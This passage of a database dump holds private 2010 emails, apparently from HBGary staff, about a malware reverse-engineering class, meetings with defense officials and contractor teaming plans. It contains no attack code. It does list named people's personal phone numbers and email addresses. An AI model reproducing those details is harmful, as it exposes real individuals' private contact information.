<ted@hbgary.com>','RE: Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe training is at the office, we built out the room upstairs.&nbsp;\r\nYes we are having a mixer\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMark will be out in Sacramento next week attending the\r\nMalware RE training. Will you be having a mixer like last time? I\'d like him to\r\nstop by the office to see the facility and meet you and the team.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I\'m booked. &nbsp;You wouldn\'t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\n\r\n\r\nCan you reply to all once you\'ve decided if you can go, so\r\nJim\r\n\r\n\r\n\r\nreserves the slot.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs a matter of fact, there is 1 seat available! Send him\r\nout!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 |\r\nFax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite: www.hbgary.com\r\n| email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Wednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Richards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: Mark Trynor; Barr Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Jim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs there room for our new employee, Mark Trynor, to sit in\r\nthe May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12 Malware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6554,'aaron_hbgary_com/6554.html'),(6093,'2010-05-07','\"Goldman, Bradford L.\" <BRADFORD.L.GOLDMAN@saic.com>','/aaron@hbgary.com/new/1297004383.M932749P14101Q948.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Aaron,\r\n\r\nSounds good, how about Tuesday at 3:30pm or later or Wednesday morning\r\naround 10 or 11 am?\r\n\r\nregards,\r\nBrad Goldman\r\n+1.703.966.6010\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:42 AM\r\nTo: Goldman, Bradford L.\r\nSubject: Discussion\r\n\r\nHi Brad,\r\n\r\nWe met briefly at the Tech Tuesday last week.  You mentioned you would\r\nlike to have a follow on conversation.  Let me know some\r\navailabilities and maybe we can meet up next week.\r\n\r\nAaron\r\nCEO\r\nHBGary Federal\r\n\r\nSent from my iPad\r\n',4126,'aaron_hbgary_com/4126.html'),(6094,'2010-05-07','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004384.M163345P14101Q949.eml','\"Leibner, Lincoln D LTC MIL USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Aaron Barr\" <aaron@hbgary.com>','Can we meet on the 12th at 1300?','\r\n\r\n\r\n\r\n\r\nCan we meet on the 12th at 1300?\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nDirector, Cyber Programs\r\n\r\nSpecial Capabilities Office\r\n\r\nNIPR: irving.lachow@osd.mil\r\n\r\nSIPR: irving.lachow@osd.smil.mil\r\n\r\nJWICS: irving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp; (703) 746-1226\r\n\r\nCell:&nbsp; (202) 556-0591\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10917,'aaron_hbgary_com/10917.html'),(6095,'2010-05-07','\"Lachow, Irving Mr OSD ATL\" <Irving.Lachow@osd.mil>','/aaron@hbgary.com/new/1297004384.M424431P14101Q950.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,\"nathan.atherley@farallon-research.com\" <nathan.atherley@farallon-research.com>,\"Aaron Barr\" <aaron@hbgary.com>','Meeting on cyber accelerator and Aaron\'s ideas','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, May 19, 2010 9:00 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: SCO\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',7256,'aaron_hbgary_com/7256.html'),(6096,'2010-05-07','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','/aaron@hbgary.com/new/1297004384.M697916P14101Q951.eml','\"Lachow, Irving Mr OSD ATL\" <irving.lachow@osd.mil>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Can we meet on the 12th at 1300? (UNCLASSIFIED)','\r\n\r\n\r\n\r\n\r\nCan we meet on the 12th at 1300?\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nCan we do 1200?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLieutenant Colonel&nbsp;Lincoln Leibner\r\n\r\nUnited States Army\r\n\r\nOperations and Technology Office\r\n\r\n703-697-7131 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving Mr\r\nOSD ATL [mailto:Irving.Lachow@osd.mil] \r\nSent: Friday, May 07, 2010 16:38\r\nTo: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7; \'Aaron Barr\'\r\nSubject: Can we meet on the 12th at 1300?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIrving\r\nLachow, Ph.D.\r\n\r\nDirector,\r\nCyber Programs\r\n\r\nSpecial\r\nCapabilities Office\r\n\r\nNIPR:\r\nirving.lachow@osd.mil\r\n\r\nSIPR:\r\nirving.lachow@osd.smil.mil\r\n\r\nJWICS:\r\nirving.lachow@osdj.ic.gov\r\n\r\nOffice:&nbsp;\r\n(703) 746-1226\r\n\r\nCell:&nbsp;\r\n(202) 556-0591\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15003,'aaron_hbgary_com/15003.html'),(6097,'2010-05-07','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004384.M933149P14101Q952.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,,','COIN Teaming Discussion','\r\n\r\n\r\n\r\n\r\nCOIN Teaming Discussion\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\nWe discussed possible teaming partners and the roles they play.&nbsp; Please see Jerry Brunst for a more detailed explanation.&nbsp; So far here is what we have:\r\n\r\nOps &#8211; \r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Strategic Intelligence Group (SIG) (need contact and NDA and TA if they fit)\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WhiteCanvasGroup \r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Abraxas ?? &#8211; Need further discussions\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TASC \r\n\r\n\r\n\r\nCultural- \r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Archimedes Global (need TA for them)\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SIG? \r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TASC??\r\n\r\n\r\n\r\nInfrastructure- \r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HB Gary (Security)\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IBM??, ATT??, Google??, Rackspace??, Apple?? (John, we need good contacts and bring them in)\r\n\r\n\r\n\r\nDevelopment Support\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TASC\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WhiteCanvasGroup\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GNOSKO (need contact information and bring them in)- Jerry has lead.\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Gaming developer &#8211; Chris has lead\r\n\r\n\r\n\r\nSome companies to contact:\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Alterion &#8211; SM2 tool\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socialeyez\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lincoln Group &#8211; linguists, John can you contact?\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Leoni Enterprises &#8211; Linguists, John can you contact?\r\n\r\n\r\n\r\nThings to do\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Continue working the white paper\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Meet as necessary &#8211; Jerry is the lead while I am away\r\n\r\n\r\n\r\nI&#8217;ll set up a meeting on Tuesday so we can regroup.\r\n\r\n\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',13980,'aaron_hbgary_com/13980.html'),(6098,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004385.M162586P14101Q953.eml','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','Re: Can we meet on the 12th at 1300? (UNCLASSIFIED)','Good for me.AaronSent from my iPadOn May 7, 2010, at 4:55 PM, &quot;Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7&quot; &lt;lincoln.leibner@us.army.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nCan we do 1200?\r\n\r\n \r\n\r\n\r\n\r\nLieutenant Colonel Lincoln Leibner\r\n\r\nUnited States Army\r\n\r\nOperations and Technology Office\r\n\r\n703-697-7131 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving Mr\r\nOSD ATL [mailto:Irving.Lachow@osd.mil] \r\nSent: Friday, May 07, 2010 16:38\r\nTo: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7; &#39;Aaron Barr&#39;\r\nSubject: Can we meet on the 12th at 1300?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIrving\r\nLachow, Ph.D.\r\n\r\nDirector,\r\nCyber Programs\r\n\r\nSpecial\r\nCapabilities Office\r\n\r\nNIPR:\r\nirving.lachow@osd.mil\r\n\r\nSIPR:\r\nirving.lachow@osd.smil.mil\r\n\r\nJWICS:\r\nirving.lachow@osdj.ic.gov\r\n\r\nOffice: \r\n(703) 746-1226\r\n\r\nCell: \r\n(202) 556-0591\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2995,'aaron_hbgary_com/2995.html'),(6099,'2010-05-07','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004385.M407499P14101Q954.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>','COIN review','\r\n\r\n\r\n\r\n\r\nCOIN review\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, May 18, 2010 10:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4 (conf A or B)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nLet&#8217;s get together and chat some COIN.&nbsp; \r\n\r\n\r\n\r\nThanks,\r\n      Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13787,'aaron_hbgary_com/13787.html'),(6100,'2010-05-07','\"Len Moodispaw\" <len@keywcorp.com>','/aaron@hbgary.com/new/1297004385.M650294P14101Q955.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron:\r\n&nbsp;I will be pleased to get together==query--- is it to discuss your new company ?\r\nIf so, please send data to me so I can gather the right folks to meet you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLen\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 8:47 AM\r\nTo: Len Moodispaw\r\nSubject: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi\r\nLen,\r\n\r\nAlthough I am not sure if we ever met we have I\r\nthink numerous mutual business relationships. &nbsp;In my previous position I\r\nwas a Technical Director with Northrop Grumman for Cyber and SIGINT,\r\ntransitioning about 5 months ago. &nbsp;Art Money suggested I talk with you at\r\nthat point. &nbsp;At the time I had already decided to start up a services\r\ncompany focused on information operations, incident response and threat\r\ndetection. &nbsp;I had lunch with Tom Conroy last week and we were talking\r\nabout cyber and he suggested I should get in touch with you to discuss possible\r\nopportunities.\r\n\r\nIf interested let me know when are some good dates\r\nto try and get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10778,'aaron_hbgary_com/10778.html'),(6101,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004385.M892848P14101Q956.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Any luck?','FYI Begin forwarded message:From: &quot;Chappell, Scott C Mr CIV USA SMDC ARSTRAT&quot; &lt;Scott.Chappell@smdc-cs.army.mil&gt;\r\nDate: May 7, 2010 3:27:55 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Any luck?\r\nNot yet... -----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Friday, May 07, 2010 1:33 PM\r\nTo: Chappell, Scott C Mr CIV USA SMDC ARSTRATSubject: Any luck?Hi Scott,Did your email messages drum up any interest?  We&#39;ve had some\r\ninteresting announcements over the last couple of weeks. Check out thelinks below:HBGary announces its enterprise anti-malware solution, Active Defensehttp://www.hbgary.com/press/hbgary-unveils-active-defense/\r\nHBGary Named &quot;Cool Vendor&quot; by Gartnerhttp://www.hbgary.com/press/hbgary-named-cool-vendor-by-leading-analyst-\r\nfirm/Hope you have a nice weekend.Ted\r\n',8107,'aaron_hbgary_com/8107.html'),(6102,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004386.M113571P14101Q957.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Training','Oh, that&#39;s great. We had a few technical hurdles at the facility I trained in. How many students will it accomodate?On May 7, 2010, at 2:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThe training is at the office, we built out the room upstairs. \r\nYes we are having a mixer\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMark will be out in Sacramento next week attending the\r\nMalware RE training. Will you be having a mixer like last time? I&#39;d like him to\r\nstop by the office to see the facility and meet you and the team. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I&#39;m booked.  You wouldn&#39;t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\n\r\n\r\nCan you reply to all once you&#39;ve decided if you can go, so\r\nJim\r\n\r\n\r\n\r\nreserves the slot.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs a matter of fact, there is 1 seat available! Send him\r\nout!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 |\r\nFax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite: www.hbgary.com\r\n| email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Wednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Richards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: Mark Trynor; Barr Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Jim,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIs there room for our new employee, Mark Trynor, to sit in\r\nthe May\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n11-12 Malware class in Sacramento?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvh6ggACgkQWw/TEDXzQNPL/QCfYp9gCcMDVN9ze1W1Dgozo4J7\r\nswYAnRyF9NwRLdTViR12r7u0v61DDWgW\r\n=dkUz\r\n-----END PGP SIGNATURE-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2525,'aaron_hbgary_com/2525.html'),(6103,'2010-05-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004386.M368033P14101Q958.eml','\"Penny Leavy\" <penny@hbgary.com>','Monday','What is the plan/schedule for Monday?  Are we still meeting at the hotel.  I see a meeting an NSA HQ on the calendar but no hotel meeting?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4471,'aaron_hbgary_com/4471.html'),(6104,'2010-05-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004386.M881795P14101Q959.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Training','After Mark is trained up on the tools, what do you think about us conducting the basic courses here in Colorado Springs? I could promote it, and think that there would be enough interest between Colorado Springs and Denver to fill the seats. I&#39;ve taught classes for years and with a little ramp up Mark and I would be comfortable delivering the course material. It could help us get leads for incident response and services gigs, and help bring in some revenue. I know people at TechWise and other training centers we could rent their facilities that have PCs, projectors and everything we&#39;d need...\r\nWhat do you think?TedOn May 7, 2010, at 2:21 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThe training is at the office, we built out the room upstairs. \r\nYes we are having a mixer\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, May 07, 2010 1:17 PM\r\nTo: Leavy Penny; Hoglund Greg\r\nCc: Barr Aaron\r\nSubject: Fwd: Training\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nMark will be out in Sacramento next week attending the\r\nMalware RE training. Will you be having a mixer like last time? I&#39;d like him to\r\nstop by the office to see the facility and meet you and the team. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 5, 2010 3:58:32 PM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: Training\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nAll right I&#39;m booked.  You wouldn&#39;t happen to still have the electronic\r\nticket/boarding passes stuff from our last trip out there would you?\r\n\r\nOn 05/05/2010 03:02 PM, Ted Vera wrote:\r\n\r\n\r\n\r\nCan you reply to all once you&#39;ve decided if you can go, so\r\nJim\r\n\r\n\r\n\r\nreserves the slot.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn May 5, 2010, at 2:02 PM, Jim Richards &lt;jim@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs a matter of fact, there is 1 seat available! Send him\r\nout!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 |\r\nFax:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n916-481-1460\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWebsite: www.hbgary.com\r\n| email: jim@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Wednesday, May 05, 2010 1:03 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Richards Jim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: Mark Trynor; Barr 